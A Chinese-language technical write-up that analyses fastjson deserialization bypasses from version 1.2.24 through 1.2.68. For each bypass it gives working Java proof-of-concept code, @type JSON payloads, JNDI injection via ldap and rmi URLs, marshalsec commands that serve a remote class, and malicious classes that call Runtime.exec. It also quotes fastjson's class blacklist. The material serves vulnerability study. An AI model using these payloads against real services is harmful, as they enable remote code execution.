前言:

fastjson 默认使用@type反序列化任意类,反序列化时会将该类或其子类的构造函数、getter、setter方法执行,如果这三种方法中存在可利用的入口,则可能导致反序列化漏洞的存在。
1
2
3
4
5
6
7
8
9
//序列化
String text = JSON.toJSONString(obj);
//反序列化
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类
JSON.parseObject方法中没指定对象,返回的则是JSONObject的对象。
JSON.parseObject和 JSON.parse这两个方法差不多
JSON.parseObject的底层调用的还是JSON.parse方法,只是在JSON.parse的基础上做了一个封装

fastjson <= 1.2.24

利用链TemplatesImpl链

原理:内部使用的是类加载器,去进行new一个对象,这时候将恶意代码定义在静态代码块中,就会被执行。

TemplatesImpl 类位于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,实现了 Serializable 接口,可以被序列化。

漏洞分析:

+ 构造一个 TemplatesImpl 类的反序列化字符串,其中 _bytecodes 是我们构造的恶意类的类字节码,这个类的父类是 AbstractTranslet,最终这个类会被加载并使用 newInstance() 实例化。 + 在反序列化过程中,由于getter方法 getOutputProperties(),满足条件,将会被 fastjson 调用,而这个方法触发了整个漏洞利用流程:getOutputProperties() -> newTransformer() -> getTransletInstance() -> defineTransletClasses() / EvilClass.newInstance()。

条件:

1、为了满足漏洞点触发之前不报异常及退出,需满足 _name 不为 null ,_tfactory 不为 null 。

2、_bytecodes不为空才能调用自定义的 ClassLoader 去加载 _bytecodes

3、_tfactory属性不能为空,否则会造成空指针异常

4、父类必须为 ABSTRACT_TRANSLET才会将类成员属性的_transletIndex 设置为当前循环中的标记位

5、由于部分需要我们更改的私有变量没有 setter 方法,需要使用 Feature.SupportNonPublicField 参数,JSON.parseObject(payload, Feature.SupportNonPublicField)。

因此最终的 payload 为:

1
2
3
4
5
6
7
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgAAADQA...CJAAk="],
"_name": "aaa",
"_tfactory": {},
"_outputProperties": {},
}

漏洞复现

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import java.io.*;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import java.util.Base64;

public class Fastjson01_TemplatesImpl {
public static void main(String[] args) throws Exception {
InputStream resourceAsStream = Fastjson01_TemplatesImpl.class.getResourceAsStream("TemplatesImplcmd.class");
byte[] bs = new byte[resourceAsStream.available()];
resourceAsStream.read(bs);
String encodedBytes = Base64.getEncoder().encodeToString(bs);
//<=1.2.24
String payload = "{\r\n"
+ " \"a\": {\r\n"
+ " \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \r\n"
+ " \"_bytecodes\": [\r\n"
+ " \""+encodedBytes+"\"\r\n"
+ " ], \r\n"
+ " \"_name\": \"aaa\", \r\n"
+ " \"_tfactory\": { }, \r\n"
+ " \"_outputProperties\": { }\r\n"
+ " }\r\n"
+ "}";
System.out.println(payload);
JSON.parseObject(payload, Feature.SupportNonPublicField);

}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class TemplatesImplcmd extends AbstractTranslet {
public TemplatesImplcmd() throws Exception {
Runtime.getRuntime().exec("open -a calculator");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
}

利用链:JdbcRowSetImpl

原理:JdbcRowSetImpl类的setAutoCommit()会调用connect()方法,里面有调用rmi的lookup方法,参数可控导致的 JNDI 注入。

漏洞分析:

setAutoCommit() 方法,在 this.conn 为空时,将会调用 this.connect() 方法,connect() 方法里调用了 javax.naming.InitialContext#lookup() 方法,参数从成员变量 dataSource 中获取,lookup() 参数可控导致 JNDI 注入。

因此最终的 payload 为:

1
2
3
4
5
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:1389/Exploit",
"autoCommit":true
}

漏洞复现

1
2
3
4
5
6
7
8
9
public class Exploit {
public Exploit() {
try {
Runtime.getRuntime().exec("open -a calculator");
} catch (Exception e) {
e.printStackTrace();
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import com.alibaba.fastjson.JSON;

public class Fastjson02_JNDI {
public static void main(String[] args) throws Exception {
//<=1.2.24
String payload = "{\r\n"
+ " \"a\": {\r\n"
+ " \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \r\n"
+ " \"dataSourceName\": \"rmi://127.0.0.1:1099/Exploit\", \r\n"
+ " \"autoCommit\": true\r\n"
+ " }\r\n"
+ "}";
System.out.println(payload);
JSON.parse(payload);
}
}
  1. 编译Exploit.java,生成Exploit.class

javac Exploit.java

  1. Exploit.class目录开启http服务

python -m http.server 8000

  1. marshalsec启动一个rmi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8000/#Exploit 1099

  1. 运行Fastjson02_JNDI.java (注:marshalsec会忽略客户端请求的路径,始终返回预先配置的类名)

ldap服务同理:

  1. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#Exploit 1389

  2. Fastjson02_JNDI.java的dataSourceName修改成: “ldap://127.0.0.1:1389/Exploit”

1.2.25 <= fastjson <= 1.2.41

利用链:JdbcRowSetImpl链

在版本 1.2.25 版本及以上,官方对之前的反序列化漏洞进行了修复,引入了 checkAutoType 安全机制,存在一个autoTypeSupport属性用来设置是否支持反序列化,默认情况下 autoTypeSupport 关闭,不能直接反序列化任意类,而打开 AutoType 之后,是基于ParserConfig内置黑名单来实现安全的。

安全更新主要集中在 com.alibaba.fastjson.parser.ParserConfig,首先查看类上出现了几个成员变量:布尔型的 autoTypeSupport,用来标识是否开启任意类型的反序列化,并且默认关闭;字符串数组 denyList ,是反序列化类的黑名单;acceptList 是反序列化白名单。

1
2
3
4
5
6
//用来标识是否开启任意类型的反序列化,默认关闭,不支持反序列化
private boolean autoTypeSupport = AUTO_SUPPORT;
//黑名单
private String[] denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");
//白名单
private String[] acceptList = AUTO_TYPE_ACCEPT_LIST;

添加反序列化白名单有3种方法:

  1. 使用代码进行添加:ParserConfig.getGlobalInstance().addAccept(“com.example.safe.”)

  2. 加上JVM启动参数:-Dfastjson.parser.autoTypeAccept=com.example.safe.

  3. 在fastjson.properties中添加:fastjson.parser.autoTypeAccept=com.example.safe

漏洞分析:

第一次判断,如果开启了autoTypeSupport:先判断在白名单内就进行类加载、在黑名单内就报错

第二次判断,如果没有开启autoTypeSupport:先判断在黑名单内就报错、白名单内就进行类加载

第三次判断,如果开启了autoTypeSupport而且类不在黑白名单内的,再加载

往后看,类加载调用的是fastjson的loadClass,这里对带有描述符的类有特殊的处理:

  • [ 开头的数组类,把 [ 去除再加载,例如 [B

  • L; 包裹的引用类,把前后去除再加载,例如 Ljava.Object.String;

因此就在这个位置出现了逻辑漏洞,攻击者可以使用带有描述符的类绕过黑名单的限制,而在类加载过程中,描述符还会被处理掉。因此,漏洞利用的思路就出来了:需要开启 autoType,使用以上字符来进行黑名单的绕过。

最终的 payload 其实就是在之前的 payload 类名上前后加上 L; 即可:

1
2
3
4
5
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"ldap://127.0.0.1:1389/Exploit",
"autoCommit":true
}

漏洞复现

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.25</version>
</dependency>
</dependencies>
1
2
3
4
5
6
7
8
9
//1.2.25 <= fastjson <= 1.2.41
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\r\n"
+ " \"a\": {\r\n"
+ " \"@type\": \"Lcom.sun.rowset.JdbcRowSetImpl;\", \r\n"
+ " \"dataSourceName\": \"ldap://127.0.0.1:1389/Exploit\", \r\n"
+ " \"autoCommit\": true\r\n"
+ " }\r\n"
+ "}";

fastjson-1.2.42

影响版本:1.2.25 <= fastjson <= 1.2.42

在版本1.2.42中,只是把原来的明文黑名单转换为Hash黑名单,然后checkAutoType这里进行判断,仅仅是把原来的 L 和 ; 换成了hash的形式。所以直接在className前后双写L和;即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private boolean              autoTypeSupport       = AUTO_SUPPORT;
private long[] denyHashCodes;
private long[] acceptHashCodes;
public final boolean fieldBased;
public boolean compatibleWithJavaBean = TypeUtils.compatibleWithJavaBean;
{
denyHashCodes = new long[]{
-8720046426850100497L,-8109300701639721088L,-7966123100503199569L,-7766605818834748097L,
-6835437086156813536L,-4837536971810737970L,-4082057040235125754L,-2364987994247679115L,
-1872417015366588117L,-254670111376247151L ,-190281065685395680L , 33238344207745342L ,
313864100207897507L , 1203232727967308606L, 502845958873959152L , 3547627781654598988L,
3730752432285826863L, 3794316665763266033L, 4147696707147271408L, 5347909877633654828L,
5450448828334921485L, 5751393439502795295L, 5944107969236155580L, 6742705432718011780L,
7179336928365889465L, 7442624256860549330L, 8838294710098435315L
};
}
1
2
3
4
5
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[,
{"dataSourceName":"ldap://127.0.0.1:1389/Exploit",
"autoCommit":true
}

漏洞复现

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.42</version>
</dependency>
</dependencies>
1
2
3
4
5
6
7
8
9
//1.2.25 <= fastjson <= 1.2.42
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\r\n"
+ " \"a\": {\r\n"
+ " \"@type\": \"LLcom.sun.rowset.JdbcRowSetImpl;;\", \r\n"
+ " \"dataSourceName\": \"ldap://127.0.0.1:1389/Exploit\", \r\n"
+ " \"autoCommit\": true\r\n"
+ " }\r\n"
+ "}";

fastjson-1.2.43

影响版本:1.2.25 <= fastjson <= 1.2.43

这个版本主要是修复上一个版本中双写绕过的问题,判断前两个字符不能为L,否则抛异常,可以使用[绕过

尝试只插入一个[,在解析的时候语义解析出错了,提示逗号前面缺一个[

根据语义提示补全,在逗号前面加一个[,又提示44处缺一个{,位置在dataSourceName属性的左双引号前面

1
2
3
4
5
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[,
{"dataSourceName":"ldap://127.0.0.1:1389/Exploit",
"autoCommit":true
}

漏洞复现

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.43</version>
</dependency>
</dependencies>
1
2
3
4
5
6
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload= "{\n" +
" \"@type\": \"[com.sun.rowset.JdbcRowSetImpl\"[{,\n" +
" \"dataSourceName\": \"ldap://127.0.0.1:1389/Exploit\",\n" +
" \"autoCommit\": true\n" +
"}";

fastjson-1.2.44

这个版本主要是修复上一个版本中使用 [ 绕过黑名单防护的问题。

影响版本:1.2.25 <= fastjson <= 1.2.44
在此版本将 [ 也进行修复了之后,由字符串处理导致的黑名单绕过也就告一段落了。

可以看到在 checkAutoType 中添加了新的判断,如果类名以 [ 开始则直接抛出异常。

1.2.25<=fastjson<=1.2.45

漏洞点:org.apache.ibatis.datasource.jndi.JndiDataSourceFactory 并不在黑名单中,JndiDataSourceFactory#setProperties(),正好是set方法能被fastjson利用

利用条件需要目标服务端存在mybatis的jar包,mybatis3 <=3.4.6版本且依旧要开启autoTypeSupport

1
2
3
4
5
6
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:1389/Exploit"
}
}

漏洞复现

1
2
3
4
5
6
7
8
9
10
11
12
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.44</version>
</dependency>
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.11</version>
</dependency>
</dependencies>
1
2
3
4
5
6
7
8
9
10
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\n" +
" \"@type\": \"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\n" +
" \"properties\": {\n" +
" \"data_source\": \"ldap://127.0.0.1:1389/Exploit\"\n" +
" }\n" +
"}";

System.out.println(payload);
JSON.parse(payload);

1.2.25<=fastjson<=1.2.47通杀

原理:当@type是Class类时会加载val对应的类并写入缓存,可以在不开启autoTypeSupport且绕过黑白名单的情况下进行RCE。

通杀,无视autoTypeSupport,默认autoTypeSupport是关闭的
影响版本:1.2.25 <= fastjson <= 1.2.32 关闭
影响版本:1.2.33 <= fastjson <= 1.2.47 任意

漏洞问题还是在checkAutoType中,无论是否开启autoTypeSupport,最终都会通过deserializers.findClass(typeName)获取对象并返回clazz。可以先通过往TypeUtils的缓存中存入恶意类,再以恶意类进行 @type 请求时即可绕过黑名单进行的阻拦。

漏洞分析:

ParserConfig类相关代码结构图:

TypeUtils类相关代码结构图:

漏洞复现

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.45</version>
</dependency>
</dependencies>
1
2
3
4
5
6
7
8
9
10
11
12
13
String payload = "{\n" +
"\t\"a\": {\n" +
"\t\t\"@type\": \"java.lang.Class\",\n" +
"\t\t\"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n" +
"\t},\n" +
"\t\"b\": {\n" +
"\t\t\"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\n" +
"\t\t\"dataSourceName\": \"ldap://127.0.0.1:1389/Exploit\",\n" +
"\t\t\"autoCommit\": true\n" +
"\t}\n" +
"}";
System.out.println(payload);
JSON.parse(payload);

1.2.48<=fastjson<=1.2.68

新增安全机制

1、在MiscCodec这里,可以发现,cache默认设置成了false,并且loadClass重载方法的默认的调用改为不缓存。最大限制是开启了safeMode

2、在版本 1.2.68 更新了一个新的安全机制 safeMode,如果开启了 safeMode,将在 checkAutoType() 中直接抛出异常,那么autoType就会被完全禁止。所以只有关闭 safeMode 的情况下才能进行攻击,但具体的漏洞利用的危害程度要取决于目标服务的环境。

漏洞分析

1
2
//第二个参数就是expectClass(期望要反序列化成的类型)
Student stu2 = JSON.parseObject(testStr, Student.class);

checkAutoType 一般有以下几种情况会通过校验。

1.白名单里的类

2.开启了 autotype

3.使用了 JSONType 注解

4.指定了期望类(expectClass)

5.缓存 mapping 中的类

这个漏洞依旧是和ParserConfig#checkAutoType()校验方法做对抗。分析如下:

1、并且对 expectClass 的类型进行限制,不能是Object、Serializable、Cloneable、Closeable、EventListener、Iterable、Collection这些类及其子类。

2、从TypeUtils.mappings中查询类,expectClass需要在缓存集合TypeUtils#mappings中

3、如果不再内部白名单内,且未开启autolypeSupport的情况下,会匹配黑白名单,所以expectClass 和 typeName 都不能在黑名单中。

4、还对 JNDI 的一些危险类做了判断 clazz 不能是 ClassLoader,DataSource,RowSet 的子类

5、expectClass.isAssignableFrom(clazz)用于判断 clazztypeName对应的类)是否为expectClass的子类或实现类。若不是,则抛出 “类型不匹配” 异常,反序列化失败。所以当typeName要为expectClass的子类,才能绕过checkAutoType的检测,同时绕过autoTypeSupport的限制。

所以如果同时符合以下条件,则可以在autoType关闭的情况下,指定了期望类绕过ParserConfig#checkAutoType()的安全校验,从而反序列化指定类:

(1) expectClass不为null,且不等于Object.class、Serializable.class、Cloneable.class、Closeable.class、EventListener.class、Iterable.class、Collection.class;

(2) expectClass需要在缓存集合TypeUtils#mappings中;

(3) expectClass和typeName都不在黑名单中;

(4) typeName不是ClassLoader、DataSource、RowSet的子类;

(5) typeName是expectClass的子类。

满足上述条件会调用checkAutoType且传递expectClass参数,只有两个地方

①ThrowableDeserializer#deserialize

漏洞复现

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.68</version>
</dependency>
</dependencies>
1
2
3
4
5
6
7
8
9
public class evilException extends  Exception{
static {
try {
Runtime.getRuntime().exec("open -a calculator");
} catch (Exception e) {
e.printStackTrace();
}
}
}
1
2
3
4
5
6
7
8
9
10
11
import com.alibaba.fastjson.JSON;

public class Fastjson_bypass68 {
public static void main(String[] args) {
String payload = "{" +
"\"@type\":\"java.lang.Exception\"," +
"\"@type\":\"evilException\"" +
"}";
JSON.parse(payload);
}
}

②JavaBeanDeserializer

漏洞复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import com.alibaba.fastjson.JSON;

public class Fastjson_bypass68 {
public static void main(String[] args) {
// String payload = "{" +
// "\"@type\":\"java.lang.Exception\"," +
// "\"@type\":\"evilException\"" +
// "}";
// JSON.parse(payload);

String payload = "{" +
"\"@type\":\"java.lang.AutoCloseable\"," +
"\"@type\":\"com.lingx5.entry.evilAutoCloseable\"," +
"\"cmd\":\"open -a calculator\"" +
"}";
JSON.parse(payload);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.io.IOException;

public class evilAutoCloseable implements AutoCloseable {
String cmd;
public void setCmd(String cmd) {
this.cmd = cmd;
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void close() throws Exception {

}
}